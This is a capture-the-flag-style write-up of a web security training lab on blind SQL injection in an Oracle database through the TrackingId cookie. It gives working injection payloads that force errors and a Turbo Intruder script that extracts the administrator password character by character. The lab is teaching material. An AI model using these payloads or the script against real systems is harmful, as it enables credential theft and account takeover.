Blind SQL Injection with Conditional Errors
Scenario Analysis
Same idea as other blind SQLi labs — the TrackingId cookie goes straight into a SQL query. But this time the behavior is different:
- The application doesn't show any visual difference based on query results. No
Welcome backtext, nothing. - Instead, if my injection triggers an unhandled database error, the server responds with HTTP 500. If the query is valid, it returns HTTP 200 regardless.
So the oracle here is the HTTP status code itself. I also suspected this was an Oracle database based on the error behavior, and I confirmed it with a quick test.
Confirming the Vulnerability
I intercepted a request to / and started testing in Repeater.
Validating Oracle syntax:
GET / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: TrackingId=ORIGINAL_ID'||(SELECT '' FROM dual)||'; session=YOUR_SESSION
HTTP 200 — the dual table works, confirming it's Oracle.
False condition (no error):
Cookie: TrackingId=ORIGINAL_ID'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'; session=YOUR_SESSION
HTTP 200 — the 1=2 condition is false, so TO_CHAR(1/0) never executes and there's no error.
True condition (triggers error):
Cookie: TrackingId=ORIGINAL_ID'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'; session=YOUR_SESSION
HTTP 500 — the 1=1 condition is true, so it tries to evaluate 1/0, which crashes with a division-by-zero error.
So the rule is simple:
- 500 = my condition is TRUE
- 200 = my condition is FALSE
Determining Password Length
I injected the length check inside the CASE WHEN:
Cookie: TrackingId=ORIGINAL_ID'||(SELECT CASE WHEN (LENGTH(password)=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'; session=YOUR_SESSION
I went through =1, =2, =3... and at 20 the server returned HTTP 500.
The password is exactly 20 characters long.
Extracting the Password with Turbo Intruder
I right-clicked the request in Repeater → Extensions → Turbo Intruder → Send to Turbo Intruder.
In the upper window I set up the template with %s for position and character. Note that Oracle uses SUBSTR instead of SUBSTRING:
Cookie: TrackingId=ORIGINAL_ID'||(SELECT CASE WHEN (SUBSTR(password,%s,1)='%s') THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'; session=YOUR_SESSION
In the lower window, I pasted this script:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=2,
requestsPerConnection=1,
pipeline=False)
chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
for pos in range(1, 21):
for char in chars:
engine.queue(target.req, [str(pos), char])
def handleResponse(req, interesting):
if req.status == 500:
table.add(req)
I clicked Launch attack. The table showed exactly 20 requests with status 500 — each one revealing the correct character for that position.
Authentication
I concatenated the 20 characters in order, went to My account (/login), logged in as administrator with the recovered password, and that was it.
Lab solved! 🏴
